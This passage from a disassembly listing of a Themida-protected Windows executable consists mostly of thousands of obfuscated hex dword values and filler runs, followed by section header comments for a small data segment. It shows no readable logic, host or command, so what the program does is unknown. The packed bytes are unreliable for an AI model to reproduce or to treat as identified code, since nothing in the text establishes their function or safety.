0EE9C9B7h, 0C2000000h, 39F3A3E6h, 0DDF77A1h, 152CA0FCh dd 47B9664Eh, 0AE8F2h, 621E0000h, 0C026D4BAh, 196ECBE2h dd 5E83D080h, 28C0Fh, 0E3B70000h, 0E9F8BF0Fh, 0Bh, 7F47D9Ah dd 0AA97124h, 66F5924Dh, 8A0FF88Bh, 2, 0B70FD98Ah, 13E8F6h dd 8A590000h, 6AB616ACh, 804340EFh, 2C0EA1BEh, 0F951C0CBh dd 8B665F29h, 0FEBB5D6h, 0C88BF9B7h, 0BE9h, 8EC11200h dd 0E0555742h, 0D1ADD477h, 38E0F53h, 66000000h, 0F5BF98Bh dd 148Ch, 0E8B0F00h, 0E8000000h, 8, 2BF1542Dh, 0B08BF315h dd 1CC1815Eh, 6630C004h, 8166F28Bh, 8B3219E6h, 0B868B7FBh dd 2BC6879Ah, 19820Fh, 14E90000h, 53000000h, 2D9EE84Bh dd 0A331B11h, 4081643Fh, 4BC42A5h, 66CA7F41h, 0FF014BFh dd 880FD8BFh, 3, 0E9C0B70Fh, 9, 5F23684Fh, 2C8B1F0Bh, 39B96656h dd 5E9F8CEh, 83000000h, 73B43AC8h, 0DBC78166h, 0DE95Bh dd 6A690000h, 772FDD28h, 8936A40Dh, 8A2474ADh, 25B866DDh dd 8BE08142h, 0F792F59h, 583h, 2CF7B900h, 5E80243h, 71000000h dd 0C53D341Dh, 7E9h, 0F2656B00h, 619444F8h, 0EB81665Ah dd 8A0F910Bh, 18h, 11E957h, 6CEA0000h, 13D580Fh, 0FCD4C8CDh dd 65255B9h, 586FF7AAh, 2800F56h, 50000000h, 81665A5Bh dd 607E40EEh, 926FB866h, 0F2D3B866h, 0CA8B6661h, 8E8h dd 62ED2F00h, 99F22C67h, 5ED9B72Fh, 8A3FE380h, 0DE8CBh dd 1510000h, 9D519C99h, 6D266B25h, 509A4D02h, 0E95F5AF5h dd 11h, 0C53ADBh, 2A90B951h, 0C9B2F402h, 0D73758B9h, 408EBB3Eh dd 0F4807BEAh, 0ECD1B990h, 38BF7369h, 0E8208B9Ch, 13h dd 17038C21h, 20AF1964h, 0C09A3B17h, 6C0598D6h, 0F7F8B70h dd 689h, 800F00h, 5E000000h, 6854F381h, 0BB60067Ch, 4AA7D5E5h dd 0F2B70F61h, 0FC0BF0Fh, 0D780FBBFh, 0BE9CBh, 0AEE00000h dd 79FBEEFFh, 886DA4F2h, 0BF0F605Dh, 8B61F5C1h, 11E9D3h dd 1AC60000h, 5FC61BBEh, 0EA62EE74h, 0DA6C6722h, 0F249282h dd 8160F7B7h, 8750F7DAh, 0DF8B661Bh, 8B665361h, 66505BD3h dd 0E95FCA8Bh, 0Bh, 1622732Ch, 4E53849Ch, 51A57385h, 95CBF9BAh dd 66525E16h, 5158F28Bh, 6CC9815Bh, 0F33A288h, 886h, 8F0F5100h dd 0 dd 0FF88A5Bh, 10E9FFB7h, 0B6000000h, 0A2A10AD5h, 3D2E8F7Bh dd 0A0A99707h, 0E97A6A53h, 12h, 183B4D7Dh, 0BCB760FEh dd 6B4BC4ABh, 0A595D2DCh, 13E99705h, 44000000h, 0D5C681F2h dd 5AA0DA9Ah, 9D4E5BAFh, 87FA5F8Ch, 8E90EC8h, 0FA000000h dd 84D51073h, 66D58E2Ah, 0F7CD3B9h, 79B8C1B7h, 604D48C8h dd 61CEF680h, 0F20E180h, 0D85h, 5E85200h, 0F4000000h, 0DD37AE68h dd 80BF5A5Ah, 0E97954AAh, 8, 984F2455h, 0F11A9B14h, 5880Fh dd 81660000h, 564B09E6h, 0E959FE8Bh, 7, 1F5AB0C4h, 0FB965C0h dd 0E951FBBFh, 11h, 0F0ACCC43h, 9072C27Dh, 2E00FC6Dh, 0CDD0A128h dd 0AE95921h, 0C7000000h, 0A1622F02h, 6287048Ah, 8B6660C9h dd 14E9F3h, 89A20000h, 42BC8051h, 26E13FADh, 0C407540Bh dd 43E78877h, 0FC6197D9h, 0F94C980h, 585h, 8BA9BF00h, 850F31B8h dd 1, 0BAA9B4FCh, 3842B125h, 0EE9h, 67403300h, 4EAD6BDAh dd 0E7B94EFFh, 0F98D7FFAh, 0DAC28166h, 0FE950h, 0A2F50000h dd 3FD91B47h, 15EAC77Dh, 3D66021Ch, 0D8B70F0Fh, 6E9h, 88234300h dd 0E9DD6DA3h, 5, 0AA67908Ch, 0AE95Eh, 4A5C0000h, 178970DAh dd 0D5FF3BDAh, 2BEF8166h, 6660605Fh, 611A20BAh, 61C2BF0Fh dd 5840FF9h, 0BA000000h, 6E78AB0Dh, 6E9h, 534C2200h, 0B2168316h dd 6660F86Bh, 0DF55DE81h, 8BE4B560h, 0F6161F8h, 0BBEFBB7h dd 66452F78h, 81CED6BFh, 85B319C6h, 0DA8B6606h, 0E9F5C68Bh dd 0Bh, 23602ADEh, 72107AD7h, 608800C6h, 0FEDAD181h, 0E4804958h dd 665261D0h, 665AC28Bh, 5E8F18Bh, 0E3000000h, 0AAA40182h dd 0C690B2BFh, 0FA8B5F7Ch, 91CFD081h, 0DA8B3FE8h, 50F6C580h dd 11E8h, 0B757A400h, 0E95B302Dh, 25135865h, 0A0195FC1h dd 8D0F2C63h, 0 dd 18BE5E5Bh, 663E1F9Dh, 0E8D575BFh, 0Ah, 0C017FF6Dh, 2F2F05ADh dd 0BF0F68A9h, 10E95EFEh, 0B9000000h, 49398B3Ah, 98E6A9E5h dd 17C968F5h, 53F2F51Ah, 0C3B70F52h, 840F585Eh, 15h, 0EE957h dd 0D3780000h, 7B562233h, 69FB7E13h, 0EF4FB10Bh, 0C68B665Fh dd 9E860h, 66D00000h, 3CF2E1D3h, 5B3B2EE5h, 5E861h, 0AEDA0000h dd 6643E9D1h, 0F958F18Bh, 0E0816660h, 13E8740Fh, 29000000h dd 0EF108D68h, 2FC19596h, 46F5B6EBh, 2C1D1952h, 6160FE00h dd 81F9615Fh, 0B965FCE0h, 60F38B69h, 8E0FCC8Ah, 1Ah, 14E8h dd 0E1045C00h, 86EE903Dh, 0F4BDEB6Ch, 6320FBC7h, 0F5A719ACh dd 0B5615EFDh, 8880FFAh, 0F000000h, 283h, 8A616000h, 14E9CCh dd 0DFA60000h, 9169F162h, 9ADA1409h, 0B6350049h, 94B748CFh dd 6E94A0Ah, 72000000h, 6622233Dh, 11E9DDh, 84F50000h dd 0AFEC00CAh, 179E521Dh, 5BBE5A99h, 0E82012AFh, 0Eh, 600126C7h dd 0A63B0350h, 1CCB48E3h, 0A1BAFEF8h, 58773229h, 14E9h dd 0D8FF8800h, 3C3F127Ch, 6A2F5A20h, 97A40C7Eh, 64E0AC5Ch dd 19800F00h, 0E8000000h, 0Fh, 4357C021h, 4A769F49h, 2B111D3Ch dd 66ECC875h, 585DC5BFh, 0D840F51h, 0E8000000h, 7, 991B0731h dd 5E7D61A6h, 1880F5Ah, 0F9000000h, 0FF8FA8Bh, 48Eh, 60B96600h dd 0CE9FFh, 25060000h, 0F4F80246h, 76F426D0h, 8F0F8AC1h dd 5, 46D18166h, 5CB96009h, 503D8335h, 615B6160h, 0ACC28166h dd 8153F80Ah, 0FE9812F1h, 8B665E6Bh, 0F2BF0FDAh, 850Fh dd 0EE80000h, 1B000000h, 5D05AB0Bh, 0E74499D9h, 0A6AFEF5Fh dd 605BF9AFh, 8B29C180h, 0E9F861D1h, 13h, 0A7F8EB09h, 0A87175EAh dd 255D79DCh, 0DDAB92Bh, 0E97842C9h, 0Dh, 1FB27A69h, 5923E2E8h dd 0FD1F6DC5h, 0E9F98B39h, 14h, 4A9509A0h, 80525799h, 928945F7h dd 0C5CA93B9h, 8B36C690h, 9E9h, 11B98000h, 0C84370Fh, 0BE66B8CAh dd 0FF8F66Bh, 38Ah, 0DBB70F00h, 99662BBEh, 0DE91Bh, 0C4C10000h dd 8DE53579h, 7FD023CBh, 0FDF4983h, 0AE9DBBFh, 0A3000000h dd 3FB57158h, 9C5DC6B9h, 0EC8056F5h, 8D0F5E4Dh, 6, 0A134D781h dd 13E959E3h, 2000000h, 42D42630h, 61BFED5h, 10254001h dd 1F14ECB7h, 0F516D1Ah, 128Ah, 0CE800h, 0A9DE0000h, 21E7549h dd 16274B60h, 59587A4Fh, 81CE8166h, 0B866604Dh, 29B16FA8h dd 0C9CEBE61h, 8D0F63FEh, 15h, 10E9h, 453C5200h, 0C2F1CD20h dd 1EA03EDEh, 0D01DF5C7h, 52D38069h, 0AE8h, 0DA9BD400h dd 0BA518347h, 0FB06021h, 1484h, 0FE900h, 591C0000h, 465A9148h dd 0B59C1D89h, 6CE8597Ch, 830F5805h, 3, 51C1BF0Fh, 870F60h dd 66000000h, 616E0FBEh, 0B4DD8058h, 4800Fh, 0BB660000h dd 8B661903h, 0FC91BECAh, 0BA660BBCh, 0C58A82C8h, 0EEBF60F9h dd 0F4A422Ch, 682h, 860F00h, 61000000h, 98D0Fh, 53600000h dd 9CD5B85Ah, 606147E2h, 81C9B70Fh, 0EFE039EBh, 0BF0F6133h dd 6660F8DFh, 0E850CE8Bh, 10h, 3A1E1D43h, 0E139B3AAh, 1DC9BED8h dd 1F0E925Ch, 57615F58h, 0C95EF381h, 0E95E37EAh, 6, 0ADBA1540h dd 8B6649A7h, 48E281DEh, 661B43D1h, 0EC56F281h, 102A90BBh dd 5E930h, 0A04D0000h, 0E9CBBB17h, 9, 0B8FE20C0h, 5989BA69h dd 0E580F533h, 0DE9C0h, 0FE0000h, 0A6F74B90h, 0FB7DCB27h dd 0E9E87D26h, 13h, 90A6D696h, 4A05C6B1h, 0A31C0469h, 0D7206F21h dd 0F0F1A71h, 584h, 0DB816600h, 0DA8BE798h, 0FDE8B66h dd 8E0FD7B7h, 4, 4FD2BE66h, 28BB6657h, 0B8665BCCh, 57BA9A55h dd 0F4D5B73h, 5B50F8BFh, 138A0Fh, 0EE90000h, 7D000000h dd 4D7E0D01h, 0C208153Eh, 80BA764Fh, 1ECF804Fh, 80F7B70Fh dd 8F0FC3F3h, 9, 38D0Fh, 0BF0F0000h, 0EE8F5CFh, 1A000000h dd 0F1BF5FF7h, 62FF123Ch, 0CBCBD5D1h, 5A31B1B1h, 0D9E88052h dd 10E95Bh, 61AC0000h, 0CB99964Bh, 0E38D8DBFh, 665C3139h dd 8E80B27h, 0B000000h, 6CCAC8B3h, 8B0AF2EFh, 0BF0F5AD1h dd 830F60FEh, 2, 8B66CF8Ah, 0E88161D1h, 56010A7Fh, 0BE8h dd 19CDD800h, 859448E6h, 0A1962311h, 8A585160h, 0F5861EEh dd 6E9D7BFh, 3A000000h, 992CA453h, 8D0F5311h, 0 dd 58B0F5Ah, 66000000h, 0B286D881h, 12E9h, 8D47F400h, 9DD59B25h dd 0BC32E7C1h, 104C3994h, 0F0B08F4h, 28Ah, 66F98B00h, 0FC1622BFh dd 87E9EEB9h, 8F0FF96Fh, 1, 81CF8BF9h, 91A170E8h, 0BF0F5764h dd 0D58058D9h, 5830FECh, 66000000h, 0A2A4DE81h, 6F87C681h dd 0B70F4E03h, 8A0F51DAh, 10h, 0AE8h, 0D197BF00h, 921481B0h dd 5FB1CC16h, 0FE95Eh, 0AF130000h, 0BBB19FBAh, 28AB30DDh dd 20F8DE34h, 0DE8C6h, 3030000h, 54B0DEFCh, 0F9E3CDAAh dd 0FB562FBh, 148Eh, 0EE800h, 45E30000h, 0AFE1862Dh, 0FA93A978h dd 0D2AE1D93h, 7E95B5Fh, 11000000h, 0E0BC3EC2h, 0BF666314h dd 0B866232Bh, 0BF667160h, 0F52F1C5h, 0B958F8BFh, 1DDA6667h dd 0A95EB866h, 66F5CC8Ah, 8D0FC78Bh, 2, 2AB6A3B6h, 0FF6FF081h dd 0F50563Eh, 68Ch, 870F00h, 59000000h, 0FF2B70Fh, 1581h dd 10E900h, 368A0000h, 0D3E0D1E7h, 6561FE7Bh, 2A931940h dd 0BF0F23C3h, 816160D0h, 0D7F2C0D8h, 6077BE01h, 81667642h dd 8BFF4BD1h, 0F18166D9h, 0BF0F8F0Ch, 0E840FD0h, 0E9000000h dd 9, 1BE13AEFh, 0BBFB2023h, 0E9DE8B2Fh, 0Ch, 0DDC29642h dd 6EFD72F1h, 221DBF5Bh, 0CE9h, 2FEAA00h, 2F7C780h, 0C33C57Fh dd 81FC60CBh, 0E286E0DBh, 0F7B6612Bh, 0D78BD88Bh, 0E1B7BB66h dd 13E9h, 5EBC9C00h, 0BB5662A2h, 0D7FCCA38h, 0ECED296Dh dd 0D43DBD6Ah, 0FE9h, 9EA90D00h, 0FC94113Ch, 0C59F6EF9h dd 0E7AA5693h, 0BD2115BFh, 0ACB96647h, 3781BF33h, 816670DFh dd 0E99B1ED7h, 0Eh, 93C9FC04h, 0E033791Ah, 0FAB89965h dd 14E9684Ah, 0D6000000h, 2B33EAFDh, 94DE389Fh, 8D0BE5C3h dd 6C85B121h, 60FBBDF0h, 5EE18166h, 0F181662Bh, 66617E0Ch dd 9F85E081h, 0D1B70FF5h, 38E0Fh, 0BF0F0000h, 0A4BB66DFh dd 10B86624h, 0F7BF0FF5h, 0BE9h, 7F844800h, 0E39B6D7h dd 0F3CFE7B4h, 0CE9h, 5AB2F700h, 34D84799h, 0FCF17F8Eh dd 0CE850A4h, 0DF000000h, 0A2A8277Dh, 5EBB1C7Ch, 0BA8A1867h dd 13BA8CEAh, 23B55859h, 1B880Fh, 12E80000h, 0AC000000h dd 0F0ACCC43h, 9072C27Dh, 2E00FC6Dh, 0CDD0A128h, 0FABF0F21h dd 56B6B25Bh, 0C2E08156h, 5B566F9Fh, 5BF9575Eh, 13E9h dd 7B7E100h, 75B8AA71h, 979ED2C7h, 0A58DC7A6h, 0C7F6A4CDh dd 8B97F780h, 0BF0FF9C1h, 471AB9F8h, 0D18A35D4h, 0A5EF8166h dd 0BE847h, 0F0F90000h, 52AE580h, 0B34B6CE6h, 59F58A88h dd 66F7B70Fh, 986FD781h, 8BFFB70Fh, 0CEBF0FD7h, 82974FBAh dd 0CE90Bh, 0C0500000h, 65929D6Ch, 9868573h, 8D0F8203h dd 5, 0A6C989BAh, 6E949h, 0BB050000h, 34D295C1h, 9BE18166h dd 18800F3Ch, 51000000h, 10E8h, 0C74CF600h, 80692EC3h dd 0AEC4A064h, 0D869961Bh, 605F5836h, 60CBBF0Fh, 8BD8B70Fh dd 0E96161F2h, 0Ah, 769B30EDh, 0A0F4883Eh, 0FF8E1B4h, 1382h dd 0EE900h, 0B0790000h, 7491FAF9h, 0A10D2248h, 33605A03h dd 5870Fh, 81660000h, 81DE00D1h, 8833C4C6h, 12CA8150h dd 0F2500A2h, 98Fh, 3830F00h, 66000000h, 0D38AD68Bh, 89D38166h dd 0D2B70F7Ah, 0ECB86653h, 0E1815EE3h, 57EBEF39h, 8E8F5h dd 9DFF0000h, 0ABC89AB3h, 5E8C5A0h, 74000000h, 0F616EC39h dd 0F7DBBA66h, 0FE95F59h, 3A000000h, 5D1912FEh, 13C51F05h dd 2BA79F00h, 0CE91A33h, 84000000h, 6B73231Ch, 91205944h dd 0FE932E2h, 282h, 80D68B00h, 8A0F11C0h, 1, 9E8F5FCh dd 28000000h, 0F435DF7h, 0D5F3FF29h, 0C78B665Fh, 53FA8B66h dd 5870Fh, 81660000h, 5E0210D7h, 0B898BF66h, 70A2BA66h dd 0B8DFB70Fh, 3553A601h, 0E9D6BF0Fh, 7, 134FA557h, 66F4A6F2h dd 0F08BDE8Bh, 51B5F181h, 0F1817D38h, 7BF33788h, 8C0Fh dd 0DD8A0000h, 5852F88Bh, 0F05CE80h, 32B9C8BFh, 0F460E5Fh dd 9E9D9B7h, 0A000000h, 2317184Ah, 320497BCh, 81D1B70Fh dd 0EAF305F0h, 5FD0816Dh, 0F68EF0Ch, 588h, 96C4BA00h, 0BE8674Ah dd 2F000000h, 54A55A76h, 67D05BC9h, 8B66666Ah, 0F8F859FEh dd 860Fh, 0E9600000h, 12h, 10DA6AB3h, 1BA56B12h, 382D0F67h dd 15D3DFCh, 0BA6694EDh, 0B961BEFCh, 2CE3814Ah, 0DCB21DBEh dd 0FEBF0F0Fh, 6806DA81h, 0FA8B4DE9h, 0B2F7BF0Fh, 51F18B2Eh dd 8F0Fh, 815E0000h, 0E1DCE1C6h, 5DCB8040h, 2860FFCh, 8A000000h dd 0F9BF0FFCh, 0E8DBBF0Fh, 14h, 55A615D4h, 0D921A529h dd 416E03D5h, 3A93E901h, 9EED73CDh, 151430BAh, 0BF0F593Dh dd 0F78B66D0h, 0E98166F5h, 0B70F1299h, 6E852CEh, 0AB000000h dd 3DECCE3Bh, 5477B84Dh, 5B5813C8h, 8820Fh, 880F0000h dd 2, 0DF8BF18Bh, 7E9h, 352AF500h, 0E9C51D48h, 14E9h, 0ADF7E00h dd 0FCADC123h, 53A458C0h, 283C87EEh, 8056B9AFh, 7AB966CBh dd 0DF8BF88Bh, 58B0Fh, 49B90000h, 0F1E670Eh, 138Fh, 0EE900h dd 39E50000h, 0D9374A93h, 3F19D413h, 8C0FE0BDh, 5820Fh dd 23BE0000h, 602D7B5Ah, 8C0Fh, 66610000h, 0CAB9E681h dd 0B8FFB70Fh, 1CDE7E09h, 13870FF8h, 0E9000000h, 0Eh, 8F1C905Bh dd 9682F6B9h, 48252802h, 8166E46Dh, 0BA3056EEh, 7BBA0343h dd 391BF081h, 81662343h, 66D249C7h, 0E84E43B9h, 0Bh, 3E590AFDh dd 729F2589h, 8B14E2ABh, 8D0F59FBh, 0 dd 0E28166F5h, 0E9F8195Bh, 0Ch, 70D259B6h, 0D0170FF1h dd 0E65B8723h, 8FE28152h, 5E473158h, 0C8B70F51h, 3800F59h dd 66000000h, 0FE9C68Bh, 8000000h, 14823C81h, 68258845h dd 4258BED9h, 0E6B83731h, 0F831FB0Fh, 10D83DB9h, 0DAB70F0Fh dd 0FCFC83B0h, 0AE9h, 8F5D0B00h, 95945850h, 0BB67DBB7h dd 63FC5381h, 0BE9h, 0D0B11200h, 43E6E27Dh, 0EDE664CEh dd 0BF0FCE8Bh, 14BE66C6h, 0D78166F9h, 3B205BFh, 8E9h, 0B14A3D00h dd 189F4B78h, 0F7BF0F52h, 0DCFD23BBh, 6D50B90Ch, 0CE84D99h dd 0D6000000h, 0C9889955h, 0C23544F7h, 56600CFAh, 870Fh dd 5A590000h, 0CC3F2D4Ch, 1B2h dup(0CC3F2D4Dh), 87D8CB4Dh dd 566h dup(87D8CD47h), 94D8CD47h, 57h dup(9A204788h) dd 8FF24788h, 9Bh dup(8FF1604Ch), 900F604Ch, 1D6h dup(900F15B9h) dd 61D415B9h, 19Fh dup(61D56EC3h), 87Bh dup(0CCCCCCCCh) dd 3F4h dup(0) Themida_ ends ; Section 5. (virtual address 001AD000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001AD000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5AD000h align 2000h _idata2 ends end start